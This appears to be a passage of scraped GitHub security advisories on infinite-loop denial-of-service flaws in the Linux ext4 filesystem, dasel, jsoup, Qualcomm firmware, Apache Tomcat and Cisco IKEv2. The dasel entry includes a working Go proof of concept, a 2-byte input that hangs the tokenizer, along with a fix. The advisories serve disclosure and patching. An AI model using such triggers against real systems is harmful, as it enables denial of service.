"modified": "2025-11-04T21:30:59Z",
"published": "2024-01-10T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47997"
},
{
"type": "WEB",
"url": "https://github.com/thelastede/FreeImage-cve-poc/tree/master/CVE-2023-47997"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EDK7DSADYUHJFNVSRGJHEFJGMWRGGDLM"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/K3ZNVRL5PCTMMA3ZBDKH5WH4RT4ST3HW"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VLDUDJOWZAKBQMQ7XYNJTRCFPOB56BOE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EDK7DSADYUHJFNVSRGJHEFJGMWRGGDLM"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K3ZNVRL5PCTMMA3ZBDKH5WH4RT4ST3HW"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6JJ-C3PV-CG65
Vulnerability from github – Published: 2026-04-22 15:31 – Updated: 2026-07-14 15:31
VLAI
Details
In the Linux kernel, the following vulnerability has been resolved:
ext4: avoid infinite loops caused by residual data
On the mkdir/mknod path, when mapping logical blocks to physical blocks, if inserting a new extent into the extent tree fails (in this example, because the file system disabled the huge file feature when marking the inode as dirty), ext4_ext_map_blocks() only calls ext4_free_blocks() to reclaim the physical block without deleting the corresponding data in the extent tree. This causes subsequent mkdir operations to reference the previously reclaimed physical block number again, even though this physical block is already being used by the xattr block. Therefore, a situation arises where both the directory and xattr are using the same buffer head block in memory simultaneously.
The above causes ext4_xattr_block_set() to enter an infinite loop about "inserted" and cannot release the inode lock, ultimately leading to the 143s blocking problem mentioned in [1].
If the metadata is corrupted, then trying to remove some extent space can do even more harm. Also in case EXT4_GET_BLOCKS_DELALLOC_RESERVE was passed, remove space wrongly update quota information. Jan Kara suggests distinguishing between two cases:
1) The error is ENOSPC or EDQUOT - in this case the filesystem is fully consistent and we must maintain its consistency including all the accounting. However these errors can happen only early before we've inserted the extent into the extent tree. So current code works correctly for this case.
2) Some other error - this means metadata is corrupted. We should strive to do as few modifications as possible to limit damage. So I'd just skip freeing of allocated blocks.
[1] INFO: task syz.0.17:5995 blocked for more than 143 seconds. Call Trace: inode_lock_nested include/linux/fs.h:1073 [inline] __start_dirop fs/namei.c:2923 [inline] start_dirop fs/namei.c:2934 [inline]
Severity
9.4 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-31448"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T14:16:38Z",
"severity": "CRITICAL"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: avoid infinite loops caused by residual data\n\nOn the mkdir/mknod path, when mapping logical blocks to physical blocks,\nif inserting a new extent into the extent tree fails (in this example,\nbecause the file system disabled the huge file feature when marking the\ninode as dirty), ext4_ext_map_blocks() only calls ext4_free_blocks() to\nreclaim the physical block without deleting the corresponding data in\nthe extent tree. This causes subsequent mkdir operations to reference\nthe previously reclaimed physical block number again, even though this\nphysical block is already being used by the xattr block. Therefore, a\nsituation arises where both the directory and xattr are using the same\nbuffer head block in memory simultaneously.\n\nThe above causes ext4_xattr_block_set() to enter an infinite loop about\n\"inserted\" and cannot release the inode lock, ultimately leading to the\n143s blocking problem mentioned in [1].\n\nIf the metadata is corrupted, then trying to remove some extent space\ncan do even more harm. Also in case EXT4_GET_BLOCKS_DELALLOC_RESERVE\nwas passed, remove space wrongly update quota information.\nJan Kara suggests distinguishing between two cases:\n\n1) The error is ENOSPC or EDQUOT - in this case the filesystem is fully\nconsistent and we must maintain its consistency including all the\naccounting. However these errors can happen only early before we\u0027ve\ninserted the extent into the extent tree. So current code works correctly\nfor this case.\n\n2) Some other error - this means metadata is corrupted. We should strive to\ndo as few modifications as possible to limit damage. So I\u0027d just skip\nfreeing of allocated blocks.\n\n[1]\nINFO: task syz.0.17:5995 blocked for more than 143 seconds.\nCall Trace:\n inode_lock_nested include/linux/fs.h:1073 [inline]\n __start_dirop fs/namei.c:2923 [inline]\n start_dirop fs/namei.c:2934 [inline]",
"id": "GHSA-m6jj-c3pv-cg65",
"modified": "2026-07-14T15:31:51Z",
"published": "2026-04-22T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31448"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3a7667595bcad84da53fc156a418e110267c3412"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/416c86f30f91b4fb2642ef6b102596ca898f41a5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5422fe71d26d42af6c454ca9527faaad4e677d6c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/64f425b06b3bea9abc8977fd3982779b3ad070c9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c66545e83a802c3851d9be27a41c0479dd29ff0c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ecc50bfca9b5c2ee6aeef998181689b80477367b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6XR-FVFG-5G64
Vulnerability from github – Published: 2026-05-19 20:09 – Updated: 2026-05-19 20:09
VLAI
Summary
Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal
Details
Summary
dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.
I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.
Details
The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:
matchRegexPattern := func(pos int) *Token {
if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
return nil
}
start := pos
pos += 2
for !p.peekRuneEqual(pos, '/') { // line 243
pos++
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}
When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.
Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.
Minimal trigger: r/ (2 bytes)
Test environment:
- MacBook Air (Apple M2), macOS / Darwin
arm64 - Go
1.26.1 - dasel
v3.3.1(fba653c7f248aff10f2b89fca93929b64707dfc8)
PoC
package main
import (
"fmt"
"runtime"
"time"
"github.com/tomwright/dasel/v3/selector/lexer"
)
func main() {
fmt.Printf("Go version: %s\n", runtime.Version())
fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
fmt.Println()
for _, input := range []string{"r/unterminated", "r/"} {
fmt.Printf("Input: %s\n", input)
done := make(chan string, 1)
go func() {
t := lexer.NewTokenizer(input)
start := time.Now()
tokens, err := t.Tokenize()
elapsed := time.Since(start)
if err != nil {
done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
} else {
done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
}
}()
select {
case result := <-done:
fmt.Println(result)
case <-time.After(5 * time.Second):
fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
}
fmt.Println()
}
}
Observed output on v3.3.1 in the test environment above:
Go version: go1.26.1
GOARCH: arm64
Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop
Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop
Impact
An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.
The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters
Suggested Fix
The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:
matchRegexPattern := func(pos int) (*Token, error) {
if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
return nil, nil
}
start := pos
pos += 2
for pos < p.srcLen && p.src[pos] != '/' {
pos++
}
if pos >= p.srcLen {
return nil, &UnexpectedEOFError{Pos: pos}
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tomwright/dasel/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46378"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T20:09:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`dasel`\u0027s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247):\n\n```go\nmatchRegexPattern := func(pos int) *Token {\n if p.src[pos] != \u0027r\u0027 || !p.peekRuneEqual(pos+1, \u0027/\u0027) {\n return nil\n }\n start := pos\n pos += 2\n for !p.peekRuneEqual(pos, \u0027/\u0027) { // line 243\n pos++\n }\n pos++\n return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))\n}\n```\n\nWhen no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos \u003e= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.\n\nMinimal trigger: `r/` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{\"r/unterminated\", \"r/\"} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tdone := make(chan string, 1)\n\t\tgo func() {\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\tstart := time.Now()\n\t\t\ttokens, err := t.Tokenize()\n\t\t\telapsed := time.Since(start)\n\t\t\tif err != nil {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t\t} else {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"OK after %v: %d tokens\", elapsed, len(tokens))\n\t\t\t}\n\t\t}()\n\n\t\tselect {\n\t\tcase result := \u003c-done:\n\t\t\tfmt.Println(result)\n\t\tcase \u003c-time.After(5 * time.Second):\n\t\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\")\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: r/unterminated\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n\nInput: r/\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nThe regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example:\n\n```go\nmatchRegexPattern := func(pos int) (*Token, error) {\n if p.src[pos] != \u0027r\u0027 || !p.peekRuneEqual(pos+1, \u0027/\u0027) {\n return nil, nil\n }\n start := pos\n pos += 2\n for pos \u003c p.srcLen \u0026\u0026 p.src[pos] != \u0027/\u0027 {\n pos++\n }\n if pos \u003e= p.srcLen {\n return nil, \u0026UnexpectedEOFError{Pos: pos}\n }\n pos++\n return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil\n}\n```",
"id": "GHSA-m6xr-fvfg-5g64",
"modified": "2026-05-19T20:09:21Z",
"published": "2026-05-19T20:09:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64"
},
{
"type": "WEB",
"url": "https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/TomWright/dasel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal"
}
GHSA-M72M-MHQ2-9P6C
Vulnerability from github – Published: 2021-08-23 19:42 – Updated: 2022-02-08 20:59
VLAI
Summary
Uncaught Exception in jsoup
Details
Impact
What kind of vulnerability is it? Who is impacted? Those using jsoup to parse untrusted HTML or XML may be vulnerable to DOS attacks. If the parser is run on user supplied input, an attacker may supply content that causes the parser to get stuck (loop indefinitely until cancelled), to complete more slowly than usual, or to throw an unexpected exception. This effect may support a denial of service attack.
Patches
Has the problem been patched? What versions should users upgrade to? Users should upgrade to jsoup 1.14.2
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading? Users may rate limit input parsing. Users should limit the size of inputs based on system resources. Users should implement thread watchdogs to cap and timeout parse runtimes.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jsoup:jsoup"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-37714"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-23T17:20:30Z",
"nvd_published_at": "2021-08-18T15:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThose using jsoup to parse untrusted HTML or XML may be vulnerable to DOS attacks. If the parser is run on user supplied input, an attacker may supply content that causes the parser to get stuck (loop indefinitely until cancelled), to complete more slowly than usual, or to throw an unexpected exception. This effect may support a denial of service attack.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to jsoup 1.14.2\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nUsers may rate limit input parsing. Users should limit the size of inputs based on system resources. Users should implement thread watchdogs to cap and timeout parse runtimes.\n",
"id": "GHSA-m72m-mhq2-9p6c",
"modified": "2022-02-08T20:59:16Z",
"published": "2021-08-23T19:42:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jhy/jsoup/security/advisories/GHSA-m72m-mhq2-9p6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37714"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhy/jsoup"
},
{
"type": "WEB",
"url": "https://jsoup.org/news/release-1.14.1"
},
{
"type": "WEB",
"url": "https://jsoup.org/news/release-1.14.2"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r215009dbf7467a9f6506d0c0024cb36cad30071010e62c9352cfaaf0@%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r377b93d79817ce649e9e68b3456e6f499747ef1643fa987b342e082e@%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3d71f18adb78e50f626dde689161ca63d3b7491bd9718fcddfaecba7@%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r50e9c9466c592ca9d707a5dea549524d19e3287da08d8392f643960e@%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r685c5235235ad0c26e86d0ee987fb802c9675de6081dbf0516464e0b@%3Cnotifications.james.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r97404676a5cf591988faedb887d64e278f522adcaa823d89ca69defe@%3Cnotifications.james.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc3354080fc67fb50b45b3c2d12dc4ca2a3c1c78dad3d3ba012c038aa@%3Cnotifications.james.apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220210-0022"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception in jsoup"
}
GHSA-M73F-CF56-RF2W
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details
When dynamic memory allocation fails, currently the process sleeps for one second and continues with infinite loop without retrying for memory allocation in Snapdragon Automobile, Snapdragon Mobile, Snapdragon Wear in version MDM9206, MDM9607, MDM9640, MDM9650, MSM8909W, QCN5502, SD 210/SD 212/SD 205, SD 425, SD 430, SD 450, SD 600, SD 615/16/SD 415, SD 625, SD 650/52, SD 810, SD 820, SD 820A, SD 835.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2017-18277"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-23T13:29:00Z",
"severity": "MODERATE"
},
"details": "When dynamic memory allocation fails, currently the process sleeps for one second and continues with infinite loop without retrying for memory allocation in Snapdragon Automobile, Snapdragon Mobile, Snapdragon Wear in version MDM9206, MDM9607, MDM9640, MDM9650, MSM8909W, QCN5502, SD 210/SD 212/SD 205, SD 425, SD 430, SD 450, SD 600, SD 615/16/SD 415, SD 625, SD 650/52, SD 810, SD 820, SD 820A, SD 835.",
"id": "GHSA-m73f-cf56-rf2w",
"modified": "2022-05-13T01:44:38Z",
"published": "2022-05-13T01:44:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18277"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-07-01#qualcomm-closed-source-components"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M7JV-HQ7H-MQ7C
Vulnerability from github – Published: 2022-02-08 22:05 – Updated: 2026-06-11 14:30
VLAI
Summary
Infinite Loop in Apache Tomcat
Details
The payload length in a WebSocket frame was not correctly validated in Apache Tomcat 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56 and 7.0.27 to 7.0.104. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0-M1"
},
{
"fixed": "10.0.0-M7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.37"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.27"
},
{
"fixed": "7.0.105"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.27"
},
{
"fixed": "7.0.105"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.37"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0-M1"
},
{
"fixed": "10.0.0-M7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0-M1"
},
{
"fixed": "10.0.0-M7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.37"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"fixed": "8.5.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-websocket"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.27"
},
{
"fixed": "7.0.105"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13935"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-12T18:44:47Z",
"nvd_published_at": "2020-07-14T15:15:00Z",
"severity": "HIGH"
},
"details": "The payload length in a WebSocket frame was not correctly validated in Apache Tomcat 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56 and 7.0.27 to 7.0.104. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service.",
"id": "GHSA-m7jv-hq7h-mq7c",
"modified": "2026-06-11T14:30:51Z",
"published": "2022-02-08T22:05:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13935"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/12d715676038efbf9c728af10163f8277fc019d5"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/1c1c77b0efb667cea80b532440b44cea1dc427c3"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/4c04982870d6e730c38e21e58fb653b7cf723784"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/f9f75c14678b68633f79030ddf4ff827f014cc84"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4727"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4596-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4448-1"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-8.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-7.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20200724-0003"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/07/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd48c72bd3255bda87564d4da3791517c074d94f8a701f93b85752651%40%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4e5d3c09f4dd2923191e972408b40fb8b42dbff0bc7904d44b651e50@%3Cusers.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10332"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Infinite Loop in Apache Tomcat"
}
GHSA-M842-HM2C-8XM2
Vulnerability from github – Published: 2025-08-14 18:31 – Updated: 2025-08-14 18:31
VLAI
Details
A vulnerability in the IKEv2 feature of Cisco IOS Software, IOS XE Software, Secure Firewall ASA Software, and Secure FTD Software could allow an unauthenticated, remote attacker to cause the device to reload, resulting in a DoS condition.
This vulnerability is due to the improper processing of IKEv2 packets. An attacker could exploit this vulnerability by sending crafted IKEv2 packets to an affected device. A successful exploit could allow the attacker to cause an infinite loop that exhausts resources and could cause the device to reload.
Severity
8.6 (High)
{
"affected": [],
"aliases": [
"CVE-2025-20253"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T17:15:38Z",
"severity": "HIGH"
},
"details": "A vulnerability in the IKEv2 feature of Cisco IOS Software, IOS XE Software, Secure Firewall ASA Software, and Secure FTD Software could allow an unauthenticated, remote attacker to cause the device to reload, resulting in a DoS condition.\n\nThis vulnerability is due to the improper processing of IKEv2 packets. An attacker could exploit this vulnerability by sending crafted IKEv2 packets to an affected device. A successful exploit could allow the attacker to cause an infinite loop that exhausts resources and could cause the device to reload.",
"id": "GHSA-m842-hm2c-8xm2",
"modified": "2025-08-14T18:31:30Z",
"published": "2025-08-14T18:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20253"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-DOESHWHy"
}
],
